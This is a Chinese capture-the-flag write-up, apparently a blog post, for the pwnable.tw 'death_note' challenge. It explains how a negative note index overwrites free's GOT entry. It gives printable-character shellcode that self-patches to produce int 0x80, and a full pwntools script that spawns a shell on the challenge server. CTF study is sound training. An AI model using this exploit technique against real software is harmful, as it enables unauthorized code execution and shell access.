pwnable.tw deate_note 经验总结

程序逻辑分析:
程序逻辑比较简单, 漏洞点也比较明显, 在 add note函数中的index没有设置下限检查导致可以为一个负数, 从而可以覆写got表

漏洞利用:
最直接的想法是植入shellcode, 但是程序对输入做了检查, 输入的shellcode要求全是可见字符, 这就要求对汇编语言比较熟悉了

编写shellcode
通过学习其它人的wp与查找资料, 发现机器码是可见字符范围的指令有push , pop , xor, inc, dec 等等, 编写过程中我只用到这些, 其它的没有过多了解

编写汇编代码之前先考虑覆盖哪个函数的got表, 由于shellcode中的cd 80(int 0x80) 机器码为不可见字符, 所以需要在汇编代码中加入修改最后两个字节的指令, 使得cd 80存在于shellcode中, 又因为调用exceve函数需要用到ebx, ecx, edx寄存器, 所以在进入被覆盖函数的栈帧前eax寄存器需要为存放shellcode的地址

通过观察汇编代码发现free函数符合要求
在这里插入图片描述
free函数的参数存放的就是指向shellcode的地址, 即eax为指向shellcode的地址

在进入free函数前寄存器的状态
在这里插入图片描述
汇编代码:

  1 section .text
  2     global _start
  3 
  4 _start:
  5     push ebx
  6     push 0x68732f2f
  7     push 0x6e69622f
  8     push esp
  9     pop ebx  /*   ebx -> /bin//sh   */
 10     push edx
 11     dec edx  
 12     dec edx
 13     xor [eax+36], dl   /*   0x33 ^ 0xfe = 0xcd  */
 14     xor [eax+37], dl   /*   0x7e ^ 0xfe = 0x80   */
 15     pop edx  /*  ebx = 0    */
 16     push ecx
 17     pop eax
 18     inc eax
 19     inc eax
 20     inc eax
 21     inc eax
 22     inc eax
 23     inc eax
 24     inc eax
 25     inc eax
 26     inc eax
 27     inc eax
 28     inc eax

EXP:

from pwn import *

context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
context.log_level='debug'
debug = 0
d = 1

if debug == 1:
	p = process("./death_note")
	if d == 1:
		gdb.attach(p)
else:
	p = remote("chall.pwnable.tw", 10201)

p.sendlineafter("Your choice :", str(1))
p.sendlineafter("Index :", str(-19))

raw_input()
shellcode = '''
	push ebx
	push 0x68732f2f
	push 0x6e69622f
	push esp
	pop ebx
	push edx
	dec edx
	dec edx
	xor [eax+36], dl
	xor [eax+37], dl
	pop edx
	push ecx
	pop eax
	inc eax
	inc eax
	inc eax
	inc eax
	inc eax
	inc eax
	inc eax
	inc eax
	inc eax
	inc eax
	inc eax
	'''

shellcode = asm(shellcode) + '\x33\x7e'
p.sendlineafter("Name :", shellcode)

p.sendlineafter("Your choice :", str(3))
p.sendlineafter("Index :", str(-19))

p.interactive()

结果:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值